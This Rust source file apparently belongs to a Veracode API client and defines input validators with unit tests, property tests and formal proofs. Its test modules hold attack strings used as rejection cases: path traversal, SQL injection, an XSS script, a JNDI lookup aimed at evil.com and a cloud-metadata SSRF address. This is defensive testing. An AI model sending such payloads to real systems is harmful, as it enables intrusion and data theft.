use serde::{Deserialize, Serialize};
use std::fmt;
use std::sync::OnceLock;
use thiserror::Error;
use url::Url;
use urlencoding::encode;
pub const MAX_APP_NAME_LEN: usize = 255;
pub const MAX_DESCRIPTION_LEN: usize = 4096;
pub const MAX_BUSINESS_UNIT_NAME_LEN: usize = 255;
pub const MAX_TEAMS_COUNT: usize = 100;
pub const MAX_CUSTOM_FIELDS_COUNT: usize = 50;
pub const MAX_TAG_VALUE_LEN: usize = 128;
pub const MAX_GUID_LEN: usize = 128;
pub const MAX_SCAN_ID_LEN: usize = 128;
pub const DEFAULT_PAGE_SIZE: u32 = 50;
pub const MAX_PAGE_SIZE: u32 = 500;
pub const MAX_PAGE_NUMBER: u32 = 10000;
#[derive(Debug, Error)]
#[must_use = "Need to handle all error enum types."]
pub enum ValidationError {
#[error("Application GUID cannot be empty")]
EmptyGuid,
#[error("Application GUID too long: {actual} chars (max: {max})")]
GuidTooLong { actual: usize, max: usize },
#[error("Invalid GUID format: {0}")]
InvalidGuidFormat(String),
#[error("Invalid characters in GUID (possible path traversal)")]
InvalidCharactersInGuid,
#[error("Application name cannot be empty")]
EmptyApplicationName,
#[error("Application name too long: {actual} chars (max: {max})")]
ApplicationNameTooLong { actual: usize, max: usize },
#[error("Invalid characters in application name")]
InvalidCharactersInName,
#[error("Suspicious pattern in application name (possible path traversal)")]
SuspiciousNamePattern,
#[error("Description too long: {actual} chars (max: {max})")]
DescriptionTooLong { actual: usize, max: usize },
#[error("Description contains null byte")]
NullByteInDescription,
#[error("Too many teams: {actual} (max: {max})")]
TooManyTeams { actual: usize, max: usize },
#[error("Too many custom fields: {actual} (max: {max})")]
TooManyCustomFields { actual: usize, max: usize },
#[error("Invalid page size: {0} (must be 1-{MAX_PAGE_SIZE})")]
InvalidPageSize(u32),
#[error("Page size too large: {0} (max: {MAX_PAGE_SIZE})")]
PageSizeTooLarge(u32),
#[error("Page number too large: {0} (max: {MAX_PAGE_NUMBER})")]
PageNumberTooLarge(u32),
#[error("Empty URL segment not allowed")]
EmptySegment,
#[error("URL segment too long: {actual} chars (max: {max})")]
SegmentTooLong { actual: usize, max: usize },
#[error("Invalid path characters (possible path traversal)")]
InvalidPathCharacters,
#[error("Control characters not allowed")]
ControlCharactersNotAllowed,
#[error("Query encoding failed: {0}")]
QueryEncodingFailed(String),
#[error("Invalid URL: {0}")]
InvalidUrl(String),
#[error("URL must be from veracode.com, veracode.eu, or veracode.us domain, got: {0}")]
InvalidDomain(String),
#[error("Only HTTPS URLs are allowed, got scheme: {0}")]
InsecureScheme(String),
#[error("Scan ID cannot be empty")]
EmptyScanId,
#[error("Scan ID too long: {actual} chars (max: {max})")]
ScanIdTooLong { actual: usize, max: usize },
#[error("Invalid characters in scan ID (only alphanumeric, hyphens, and underscores allowed)")]
InvalidScanIdCharacters,
}
#[derive(Debug, Clone, PartialEq, Eq, Hash, Serialize, Deserialize)]
#[serde(transparent)]
pub struct AppGuid(String);
impl AppGuid {
const VALID_GUID_PATTERN: &'static str =
r"^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$";
fn uuid_regex() -> &'static regex::Regex {
static UUID_REGEX: OnceLock<regex::Regex> = OnceLock::new();
#[allow(clippy::expect_used)] UUID_REGEX.get_or_init(|| {
regex::Regex::new(Self::VALID_GUID_PATTERN)
.expect("VALID_GUID_PATTERN is a valid regex")
})
}
pub fn new(guid: impl Into<String>) -> Result<Self, ValidationError> {
let guid = guid.into();
if guid.is_empty() {
return Err(ValidationError::EmptyGuid);
}
if guid.len() > MAX_GUID_LEN {
return Err(ValidationError::GuidTooLong {
actual: guid.len(),
max: MAX_GUID_LEN,
});
}
if !Self::uuid_regex().is_match(&guid) {
return Err(ValidationError::InvalidGuidFormat(guid));
}
if guid.contains('/') || guid.contains('\\') || guid.contains("..") {
return Err(ValidationError::InvalidCharactersInGuid);
}
Ok(Self(guid))
}
#[must_use = "this method returns the inner value without modifying the type"]
pub fn as_str(&self) -> &str {
&self.0
}
#[must_use = "this method returns the inner value without modifying the type"]
pub fn as_url_safe(&self) -> &str {
&self.0
}
}
impl fmt::Display for AppGuid {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
write!(f, "{}", self.0)
}
}
impl AsRef<str> for AppGuid {
fn as_ref(&self) -> &str {
&self.0
}
}
#[derive(Debug, Clone, PartialEq, Eq, Hash, Serialize, Deserialize)]
#[serde(transparent)]
pub struct AppName(String);
impl AppName {
pub fn new(name: impl Into<String>) -> Result<Self, ValidationError> {
let name = name.into();
let trimmed = name.trim();
if trimmed.is_empty() {
return Err(ValidationError::EmptyApplicationName);
}
if trimmed.len() > MAX_APP_NAME_LEN {
return Err(ValidationError::ApplicationNameTooLong {
actual: trimmed.len(),
max: MAX_APP_NAME_LEN,
});
}
if trimmed.chars().any(|c| c.is_control()) {
return Err(ValidationError::InvalidCharactersInName);
}
if trimmed.contains("..") || trimmed.contains('/') || trimmed.contains('\\') {
return Err(ValidationError::SuspiciousNamePattern);
}
Ok(Self(trimmed.to_string()))
}
#[must_use = "this method returns the inner value without modifying the type"]
pub fn as_str(&self) -> &str {
&self.0
}
}
impl fmt::Display for AppName {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
write!(f, "{}", self.0)
}
}
impl AsRef<str> for AppName {
fn as_ref(&self) -> &str {
&self.0
}
}
#[derive(Debug, Clone, Serialize, Deserialize)]
#[serde(transparent)]
pub struct Description(String);
impl Description {
pub fn new(desc: impl Into<String>) -> Result<Self, ValidationError> {
let desc = desc.into();
if desc.len() > MAX_DESCRIPTION_LEN {
return Err(ValidationError::DescriptionTooLong {
actual: desc.len(),
max: MAX_DESCRIPTION_LEN,
});
}
if desc.contains('\0') {
return Err(ValidationError::NullByteInDescription);
}
Ok(Self(desc))
}
#[must_use = "this method returns the inner value without modifying the type"]
pub fn as_str(&self) -> &str {
&self.0
}
}
impl fmt::Display for Description {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
write!(f, "{}", self.0)
}
}
impl AsRef<str> for Description {
fn as_ref(&self) -> &str {
&self.0
}
}
pub fn validate_url_segment(segment: &str, max_len: usize) -> Result<&str, ValidationError> {
if segment.is_empty() {
return Err(ValidationError::EmptySegment);
}
if segment.len() > max_len {
return Err(ValidationError::SegmentTooLong {
actual: segment.len(),
max: max_len,
});
}
if segment.contains("..") || segment.contains('/') || segment.contains('\\') {
return Err(ValidationError::InvalidPathCharacters);
}
if segment.chars().any(|c| c.is_control()) {
return Err(ValidationError::ControlCharactersNotAllowed);
}
Ok(segment)
}
pub fn validate_page_size(size: Option<u32>) -> Result<u32, ValidationError> {
match size {
None => Ok(DEFAULT_PAGE_SIZE),
Some(0) => Err(ValidationError::InvalidPageSize(0)),
Some(s) if s > MAX_PAGE_SIZE => {
log::warn!(
"Page size {} exceeds maximum {}, capping to maximum",
s,
MAX_PAGE_SIZE
);
Ok(MAX_PAGE_SIZE)
}
Some(s) => Ok(s),
}
}
pub fn validate_page_number(page: Option<u32>) -> Result<Option<u32>, ValidationError> {
match page {
None => Ok(None),
Some(p) if p > MAX_PAGE_NUMBER => {
log::warn!(
"Page number {} exceeds maximum {}, capping to maximum",
p,
MAX_PAGE_NUMBER
);
Ok(Some(MAX_PAGE_NUMBER))
}
Some(p) => Ok(Some(p)),
}
}
#[must_use = "this function performs URL encoding and returns the encoded value"]
pub fn encode_query_param(value: &str) -> String {
encode(value).into_owned()
}
#[must_use = "this function builds and returns a query parameter tuple"]
pub fn build_query_param(key: &str, value: &str) -> (String, String) {
(key.to_string(), encode_query_param(value))
}
pub fn validate_veracode_url(url_str: &str) -> Result<(), ValidationError> {
let parsed_url = Url::parse(url_str)
.map_err(|e| ValidationError::InvalidUrl(format!("Failed to parse URL: {}", e)))?;
if parsed_url.scheme() != "https" {
return Err(ValidationError::InsecureScheme(
parsed_url.scheme().to_string(),
));
}
let host = parsed_url
.host_str()
.ok_or_else(|| ValidationError::InvalidUrl("URL missing host".to_string()))?;
let is_allowed = host.ends_with(".veracode.com")
|| host.ends_with(".veracode.eu")
|| host.ends_with(".veracode.us")
|| host == "api.veracode.com"
|| host == "api.veracode.eu"
|| host == "api.veracode.us"
|| host == "analysiscenter.veracode.com"
|| host == "analysiscenter.veracode.eu"
|| host == "analysiscenter.veracode.us";
if !is_allowed {
return Err(ValidationError::InvalidDomain(host.to_string()));
}
Ok(())
}
pub fn validate_scan_id(scan_id: &str) -> Result<(), ValidationError> {
if scan_id.is_empty() {
return Err(ValidationError::EmptyScanId);
}
if scan_id.len() > MAX_SCAN_ID_LEN {
return Err(ValidationError::ScanIdTooLong {
actual: scan_id.len(),
max: MAX_SCAN_ID_LEN,
});
}
if !scan_id
.chars()
.all(|c| c.is_alphanumeric() || c == '-' || c == '_')
{
return Err(ValidationError::InvalidScanIdCharacters);
}
Ok(())
}
#[cfg(test)]
#[allow(clippy::expect_used)]
mod tests {
use super::*;
#[test]
fn test_app_guid_valid() {
let guid =
AppGuid::new("550e8400-e29b-41d4-a716-446655440000").expect("should create valid guid");
assert_eq!(guid.as_str(), "550e8400-e29b-41d4-a716-446655440000");
}
#[test]
fn test_app_guid_invalid_format() {
assert!(AppGuid::new("not-a-guid").is_err());
assert!(AppGuid::new("12345").is_err());
assert!(AppGuid::new("").is_err());
}
#[test]
fn test_app_guid_path_traversal() {
assert!(AppGuid::new("../etc/passwd").is_err());
assert!(AppGuid::new("550e8400/../test").is_err());
}
#[test]
fn test_app_name_valid() {
let name = AppName::new("My Application").expect("should create valid app name");
assert_eq!(name.as_str(), "My Application");
}
#[test]
fn test_app_name_trims_whitespace() {
let name = AppName::new(" Trimmed ").expect("should create valid app name");
assert_eq!(name.as_str(), "Trimmed");
}
#[test]
fn test_app_name_empty() {
assert!(AppName::new("").is_err());
assert!(AppName::new(" ").is_err());
}
#[test]
fn test_app_name_too_long() {
let long_name = "a".repeat(MAX_APP_NAME_LEN + 1);
assert!(AppName::new(long_name).is_err());
}
#[test]
fn test_app_name_path_traversal() {
assert!(AppName::new("../etc/passwd").is_err());
assert!(AppName::new("test/../admin").is_err());
assert!(AppName::new("test/admin").is_err());
}
#[test]
fn test_description_valid() {
let desc = Description::new("This is a valid description")
.expect("should create valid description");
assert_eq!(desc.as_str(), "This is a valid description");
}
#[test]
fn test_description_too_long() {
let long_desc = "a".repeat(MAX_DESCRIPTION_LEN + 1);
assert!(Description::new(long_desc).is_err());
}
#[test]
fn test_description_null_byte() {
assert!(Description::new("test\0null").is_err());
}
#[test]
fn test_validate_url_segment() {
assert!(validate_url_segment("valid-segment", 100).is_ok());
assert!(validate_url_segment("", 100).is_err());
assert!(validate_url_segment("../traversal", 100).is_err());
assert!(validate_url_segment("test/path", 100).is_err());
}
#[test]
fn test_validate_page_size_default() {
let result = validate_page_size(None).expect("should return default");
assert_eq!(result, DEFAULT_PAGE_SIZE);
}
#[test]
fn test_validate_page_size_valid() {
let result = validate_page_size(Some(100)).expect("should accept valid size");
assert_eq!(result, 100);
let result = validate_page_size(Some(MAX_PAGE_SIZE)).expect("should accept max size");
assert_eq!(result, MAX_PAGE_SIZE);
}
#[test]
fn test_validate_page_size_zero() {
let result = validate_page_size(Some(0));
assert!(result.is_err());
assert!(matches!(result, Err(ValidationError::InvalidPageSize(0))));
}
#[test]
fn test_validate_page_size_too_large() {
let result = validate_page_size(Some(1000)).expect("should cap to max");
assert_eq!(result, MAX_PAGE_SIZE);
let result = validate_page_size(Some(u32::MAX)).expect("should cap to max");
assert_eq!(result, MAX_PAGE_SIZE);
}
#[test]
fn test_validate_page_number_none() {
let result = validate_page_number(None).expect("should accept None");
assert_eq!(result, None);
}
#[test]
fn test_validate_page_number_valid() {
let result = validate_page_number(Some(10)).expect("should accept valid page");
assert_eq!(result, Some(10));
let result = validate_page_number(Some(MAX_PAGE_NUMBER)).expect("should accept max page");
assert_eq!(result, Some(MAX_PAGE_NUMBER));
}
#[test]
fn test_validate_page_number_too_large() {
let result = validate_page_number(Some(50000)).expect("should cap to max");
assert_eq!(result, Some(MAX_PAGE_NUMBER));
let result = validate_page_number(Some(u32::MAX)).expect("should cap to max");
assert_eq!(result, Some(MAX_PAGE_NUMBER));
}
#[test]
fn test_encode_query_param_normal() {
assert_eq!(encode_query_param("MyApp"), "MyApp");
assert_eq!(encode_query_param("test-app"), "test-app");
assert_eq!(encode_query_param("app_123"), "app_123");
}
#[test]
fn test_encode_query_param_injection_attempts() {
assert_eq!(encode_query_param("foo&admin=true"), "foo%26admin%3Dtrue");
assert_eq!(encode_query_param("key=value"), "key%3Dvalue");
assert_eq!(encode_query_param("test;command"), "test%3Bcommand");
assert_eq!(encode_query_param("50%off"), "50%25off");
assert_eq!(encode_query_param("My App"), "My%20App");
assert_eq!(
encode_query_param("foo&bar=baz;test%data"),
"foo%26bar%3Dbaz%3Btest%25data"
);
}
#[test]
fn test_encode_query_param_path_traversal() {
assert_eq!(encode_query_param("../etc/passwd"), "..%2Fetc%2Fpasswd");
assert_eq!(encode_query_param("..\\windows"), "..%5Cwindows");
}
#[test]
fn test_build_query_param() {
let param = build_query_param("name", "MyApp");
assert_eq!(param.0, "name");
assert_eq!(param.1, "MyApp");
let param = build_query_param("name", "My App & Co");
assert_eq!(param.0, "name");
assert_eq!(param.1, "My%20App%20%26%20Co");
let param = build_query_param("filter", "status=active");
assert_eq!(param.0, "filter");
assert_eq!(param.1, "status%3Dactive");
}
#[test]
fn test_validate_veracode_url_commercial() {
assert!(validate_veracode_url("https://api.veracode.com/appsec/v1/applications").is_ok());
assert!(
validate_veracode_url("https://analysiscenter.veracode.com/api/5.0/getapplist.do")
.is_ok()
);
}
#[test]
fn test_validate_veracode_url_european() {
assert!(validate_veracode_url("https://api.veracode.eu/appsec/v1/applications").is_ok());
assert!(
validate_veracode_url("https://analysiscenter.veracode.eu/api/5.0/getapplist.do")
.is_ok()
);
}
#[test]
fn test_validate_veracode_url_federal() {
assert!(validate_veracode_url("https://api.veracode.us/appsec/v1/applications").is_ok());
assert!(
validate_veracode_url("https://analysiscenter.veracode.us/api/5.0/getapplist.do")
.is_ok()
);
}
#[test]
fn test_validate_veracode_url_subdomain() {
assert!(validate_veracode_url("https://pipeline.veracode.com/v1/scan").is_ok());
assert!(validate_veracode_url("https://results.veracode.eu/report").is_ok());
}
#[test]
fn test_validate_veracode_url_reject_http() {
let result = validate_veracode_url("http://api.veracode.com/test");
assert!(result.is_err());
assert!(matches!(result, Err(ValidationError::InsecureScheme(_))));
}
#[test]
fn test_validate_veracode_url_reject_wrong_domain() {
let result = validate_veracode_url("https://evil.com/test");
assert!(result.is_err());
assert!(matches!(result, Err(ValidationError::InvalidDomain(_))));
let result = validate_veracode_url("https://localhost:8080/admin");
assert!(result.is_err());
assert!(matches!(result, Err(ValidationError::InvalidDomain(_))));
let result = validate_veracode_url("https://192.168.1.1/admin");
assert!(result.is_err());
assert!(matches!(result, Err(ValidationError::InvalidDomain(_))));
let result = validate_veracode_url("https://169.254.169.254/latest/meta-data/");
assert!(result.is_err());
assert!(matches!(result, Err(ValidationError::InvalidDomain(_))));
}
#[test]
fn test_validate_veracode_url_reject_similar_domain() {
let result = validate_veracode_url("https://api.veracode.com.evil.com/test");
assert!(result.is_err());
assert!(matches!(result, Err(ValidationError::InvalidDomain(_))));
let result = validate_veracode_url("https://api.veracode.org/test");
assert!(result.is_err());
assert!(matches!(result, Err(ValidationError::InvalidDomain(_))));
}
#[test]
fn test_validate_veracode_url_invalid_format() {
let result = validate_veracode_url("not-a-url");
assert!(result.is_err());
assert!(matches!(result, Err(ValidationError::InvalidUrl(_))));
let result = validate_veracode_url("");
assert!(result.is_err());
assert!(matches!(result, Err(ValidationError::InvalidUrl(_))));
}
#[test]
fn test_validate_scan_id_valid() {
assert!(validate_scan_id("abc123").is_ok());
assert!(validate_scan_id("scan-id-123").is_ok());
assert!(validate_scan_id("SCAN_ID_456").is_ok());
assert!(validate_scan_id("a1b2c3-d4e5-f6").is_ok());
assert!(validate_scan_id("123456789").is_ok());
assert!(validate_scan_id("test_scan_123").is_ok());
}
#[test]
fn test_validate_scan_id_empty() {
let result = validate_scan_id("");
assert!(result.is_err());
assert!(matches!(result, Err(ValidationError::EmptyScanId)));
}
#[test]
fn test_validate_scan_id_too_long() {
let long_id = "a".repeat(MAX_SCAN_ID_LEN + 1);
let result = validate_scan_id(&long_id);
assert!(result.is_err());
assert!(matches!(result, Err(ValidationError::ScanIdTooLong { .. })));
}
#[test]
fn test_validate_scan_id_path_traversal() {
let result = validate_scan_id("../admin");
assert!(result.is_err());
assert!(matches!(
result,
Err(ValidationError::InvalidScanIdCharacters)
));
let result = validate_scan_id("scan/../other");
assert!(result.is_err());
assert!(matches!(
result,
Err(ValidationError::InvalidScanIdCharacters)
));
let result = validate_scan_id("scan/path");
assert!(result.is_err());
assert!(matches!(
result,
Err(ValidationError::InvalidScanIdCharacters)
));
let result = validate_scan_id("scan\\path");
assert!(result.is_err());
assert!(matches!(
result,
Err(ValidationError::InvalidScanIdCharacters)
));
}
#[test]
fn test_validate_scan_id_injection_attempts() {
let result = validate_scan_id("scan?admin=true");
assert!(result.is_err());
assert!(matches!(
result,
Err(ValidationError::InvalidScanIdCharacters)
));
let result = validate_scan_id("scan¶m=value");
assert!(result.is_err());
assert!(matches!(
result,
Err(ValidationError::InvalidScanIdCharacters)
));
let result = validate_scan_id("scan=admin");
assert!(result.is_err());
assert!(matches!(
result,
Err(ValidationError::InvalidScanIdCharacters)
));
let result = validate_scan_id("scan;drop table");
assert!(result.is_err());
assert!(matches!(
result,
Err(ValidationError::InvalidScanIdCharacters)
));
let result = validate_scan_id("scan id");
assert!(result.is_err());
assert!(matches!(
result,
Err(ValidationError::InvalidScanIdCharacters)
));
let result = validate_scan_id("scan@host");
assert!(result.is_err());
assert!(matches!(
result,
Err(ValidationError::InvalidScanIdCharacters)
));
let result = validate_scan_id("scan#fragment");
assert!(result.is_err());
assert!(matches!(
result,
Err(ValidationError::InvalidScanIdCharacters)
));
}
#[test]
fn test_validate_scan_id_max_length() {
let max_id = "a".repeat(MAX_SCAN_ID_LEN);
assert!(validate_scan_id(&max_id).is_ok());
}
}
#[cfg(test)]
mod proptest_security {
use super::*;
use proptest::prelude::*;
fn valid_uuid_strategy() -> impl Strategy<Value = String> {
"[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}"
}
fn path_traversal_strategy() -> impl Strategy<Value = String> {
prop_oneof![
Just("../".to_string()),
Just("..\\".to_string()),
Just("../../".to_string()),
Just("..\\..\\".to_string()),
Just("/etc/passwd".to_string()),
Just("\\windows\\system32".to_string()),
Just("....//".to_string()),
Just("..;/".to_string()),
]
}
fn injection_strategy() -> impl Strategy<Value = String> {
prop_oneof![
Just("'; DROP TABLE users--".to_string()),
Just("<script>alert('xss')</script>".to_string()),
Just("${jndi:ldap://evil.com/a}".to_string()),
Just("{{7*7}}".to_string()),
Just("%0a%0d".to_string()),
Just("\0null\0byte".to_string()),
Just("admin' OR '1'='1".to_string()),
Just("&admin=true".to_string()),
Just("?param=value".to_string()),
]
}
proptest! {
#![proptest_config(ProptestConfig {
cases: if cfg!(miri) { 5 } else { 1000 },
failure_persistence: None,
.. ProptestConfig::default()
})]
#[test]
fn prop_valid_uuids_accepted(uuid in valid_uuid_strategy()) {
let result = AppGuid::new(&uuid);
prop_assert!(result.is_ok(), "Valid UUID should be accepted: {}", uuid);
}
#[test]
fn prop_guid_rejects_path_traversal(
traversal in path_traversal_strategy(),
valid_uuid in valid_uuid_strategy()
) {
let combined = format!("{}{}", valid_uuid, traversal);
prop_assert!(AppGuid::new(&combined).is_err());
let result = AppGuid::new(&traversal);
prop_assert!(result.is_err(), "Path traversal should be rejected: {}", traversal);
}
#[test]
fn prop_guid_rejects_empty(whitespace in r"\s*") {
prop_assert!(AppGuid::new(whitespace).is_err());
}
#[test]
fn prop_guid_rejects_oversized(extra_chars in 1..=100usize) {
let long_string = "a".repeat(MAX_GUID_LEN.saturating_add(extra_chars));
prop_assert!(AppGuid::new(long_string).is_err());
}
#[test]
fn prop_appname_trims_whitespace(
name in "[a-zA-Z0-9 ]{1,100}",
leading in r"\s{0,10}",
trailing in r"\s{0,10}"
) {
let input = format!("{}{}{}", leading, name, trailing);
if let Ok(app_name) = AppName::new(&input) {
let trimmed = name.trim();
prop_assert_eq!(app_name.as_str(), trimmed);
prop_assert!(!app_name.as_str().starts_with(' '));
prop_assert!(!app_name.as_str().ends_with(' '));
}
}
#[test]
fn prop_appname_rejects_path_traversal(traversal in path_traversal_strategy()) {
prop_assert!(AppName::new(traversal).is_err());
}
#[test]
fn prop_appname_rejects_control_chars(
prefix in "[a-zA-Z]{1,10}",
suffix in "[a-zA-Z]{1,10}",
control_char in 0x00u8..0x20u8
) {
let input = format!("{}{}{}", prefix, char::from(control_char), suffix);
let trimmed = input.trim();
if trimmed.chars().any(|c| c.is_control()) {
prop_assert!(AppName::new(&input).is_err());
}
}
#[test]
fn prop_appname_enforces_length(extra in 1..=100usize) {
let too_long = "a".repeat(MAX_APP_NAME_LEN.saturating_add(extra));
prop_assert!(AppName::new(too_long).is_err());
}
#[test]
fn prop_description_rejects_null_bytes(
prefix in "[a-zA-Z0-9 ]{0,100}",
suffix in "[a-zA-Z0-9 ]{0,100}"
) {
let with_null = format!("{}\0{}", prefix, suffix);
prop_assert!(Description::new(with_null).is_err());
}
#[test]
fn prop_description_enforces_length(extra in 1..=1000usize) {
let too_long = "a".repeat(MAX_DESCRIPTION_LEN.saturating_add(extra));
prop_assert!(Description::new(too_long).is_err());
}
#[test]
fn prop_url_segment_rejects_traversal(traversal in path_traversal_strategy()) {
prop_assert!(validate_url_segment(&traversal, 1000).is_err());
}
#[test]
fn prop_url_segment_rejects_control_chars(
prefix in "[a-zA-Z]{1,10}",
control_char in 0x00u8..0x20u8
) {
let input = format!("{}{}", prefix, char::from(control_char));
prop_assert!(validate_url_segment(&input, 1000).is_err());
}
#[test]
fn prop_url_segment_enforces_max_len(
segment in "[a-zA-Z0-9_-]{50,100}",
max_len in 1..50usize
) {
if segment.len() > max_len {
prop_assert!(validate_url_segment(&segment, max_len).is_err());
}
}
#[test]
fn prop_page_size_default_on_none(_unit in prop::bool::ANY) {
prop_assert_eq!(validate_page_size(None).expect("Should return default page size"), DEFAULT_PAGE_SIZE);
}
#[test]
fn prop_page_size_rejects_zero(_unit in prop::bool::ANY) {
prop_assert!(validate_page_size(Some(0)).is_err());
}
#[test]
fn prop_page_size_caps_at_max(size in (MAX_PAGE_SIZE + 1)..=u32::MAX) {
let result = validate_page_size(Some(size)).expect("Should cap at max page size");
prop_assert_eq!(result, MAX_PAGE_SIZE);
prop_assert!(result <= MAX_PAGE_SIZE);
}
#[test]
fn prop_page_size_accepts_valid(size in 1..=MAX_PAGE_SIZE) {
let result = validate_page_size(Some(size)).expect("Valid page size should be accepted");
prop_assert_eq!(result, size);
}
#[test]
fn prop_page_number_none_on_none(_unit in prop::bool::ANY) {
prop_assert_eq!(validate_page_number(None).expect("Should return None for None input"), None);
}
#[test]
fn prop_page_number_caps_at_max(page in (MAX_PAGE_NUMBER + 1)..=u32::MAX) {
let result = validate_page_number(Some(page)).expect("Should cap at max page number");
prop_assert_eq!(result, Some(MAX_PAGE_NUMBER));
}
#[test]
fn prop_page_number_accepts_valid(page in 0..=MAX_PAGE_NUMBER) {
let result = validate_page_number(Some(page)).expect("Valid page number should be accepted");
prop_assert_eq!(result, Some(page));
}
#[test]
fn prop_encode_neutralizes_injection(value in ".*") {
let encoded = encode_query_param(&value);
if value.contains('&') {
prop_assert!(encoded.contains("%26"), "& should be encoded to %26");
}
if value.contains('=') {
prop_assert!(encoded.contains("%3D"), "= should be encoded to %3D");
}
if value.contains(';') {
prop_assert!(encoded.contains("%3B"), "; should be encoded to %3B");
}
if value.contains('?') {
prop_assert!(encoded.contains("%3F"), "? should be encoded to %3F");
}
}
#[test]
fn prop_encode_is_idempotent(value in ".*") {
let encoded_once = encode_query_param(&value);
let encoded_twice = encode_query_param(&encoded_once);
prop_assert!(encoded_twice.contains("%25") || encoded_once == encoded_twice);
}
#[test]
fn prop_build_query_param_encodes(
key in "[a-zA-Z_][a-zA-Z0-9_]{0,20}",
value in ".*"
) {
let (result_key, result_value) = build_query_param(&key, &value);
prop_assert_eq!(result_key, key);
prop_assert_eq!(result_value, encode_query_param(&value));
}
#[test]
fn prop_veracode_url_rejects_http(
subdomain in "[a-z]{3,10}",
tld in prop::sample::select(vec!["com", "eu", "us"])
) {
let url = format!("http://{}.veracode.{}/path", subdomain, tld);
prop_assert!(validate_veracode_url(&url).is_err());
}
#[test]
fn prop_veracode_url_rejects_wrong_domain(
domain in "[a-z]{5,15}",
tld in "[a-z]{2,3}"
) {
prop_assume!(domain != "veracode");
let url = format!("https://{}.{}/path", domain, tld);
prop_assert!(validate_veracode_url(&url).is_err());
}
#[test]
fn prop_veracode_url_accepts_valid(
subdomain in "[a-z]{3,10}",
tld in prop::sample::select(vec!["com", "eu", "us"]),
path in "[a-z0-9/_-]{0,50}"
) {
let url = format!("https://{}.veracode.{}/{}", subdomain, tld, path);
prop_assert!(validate_veracode_url(&url).is_ok());
}
#[test]
fn prop_veracode_url_blocks_localhost(
port in 1..=65535u16,
path in "[a-z0-9/_-]{0,20}"
) {
let url = format!("https://localhost:{}/{}", port, path);
prop_assert!(validate_veracode_url(&url).is_err());
}
#[test]
fn prop_veracode_url_blocks_ip_addresses(
a in 0..=255u8,
b in 0..=255u8,
c in 0..=255u8,
d in 0..=255u8
) {
let url = format!("https://{}.{}.{}.{}/path", a, b, c, d);
prop_assert!(validate_veracode_url(&url).is_err());
}
#[test]
fn prop_scan_id_rejects_empty(_unit in prop::bool::ANY) {
prop_assert!(validate_scan_id("").is_err());
}
#[test]
fn prop_scan_id_enforces_length(extra in 1..=100usize) {
let too_long = "a".repeat(MAX_SCAN_ID_LEN.saturating_add(extra));
prop_assert!(validate_scan_id(&too_long).is_err());
}
#[test]
fn prop_scan_id_rejects_traversal(traversal in path_traversal_strategy()) {
prop_assert!(validate_scan_id(&traversal).is_err());
}
#[test]
fn prop_scan_id_accepts_valid_chars(
scan_id in "[a-zA-Z0-9_-]{1,128}"
) {
prop_assert!(validate_scan_id(&scan_id).is_ok());
}
#[test]
fn prop_scan_id_rejects_special_chars(
special_char in prop::sample::select(vec!['?', '&', '=', ';', '/', '\\', '.', ' ', '@', '#', '%'])
) {
let invalid_id = format!("scan{}id", special_char);
prop_assert!(validate_scan_id(&invalid_id).is_err());
}
#[test]
fn prop_scan_id_rejects_injection(injection in injection_strategy()) {
prop_assert!(validate_scan_id(&injection).is_err());
}
}
}
#[cfg(kani)]
mod kani_proofs {
use super::*;
#[kani::proof]
fn verify_page_size_caps_at_maximum() {
let size: u32 = kani::any();
let result = validate_page_size(Some(size));
if let Ok(validated_size) = result {
assert!(
validated_size <= MAX_PAGE_SIZE,
"Page size must be capped at maximum"
);
}
}
#[kani::proof]
fn verify_page_size_rejects_zero() {
let result = validate_page_size(Some(0));
assert!(result.is_err(), "Zero page size must be rejected");
}
#[kani::proof]
fn verify_page_number_caps_at_maximum() {
let page: u32 = kani::any();
let result = validate_page_number(Some(page));
if let Ok(Some(validated_page)) = result {
assert!(
validated_page <= MAX_PAGE_NUMBER,
"Page number must be capped at maximum"
);
}
}
}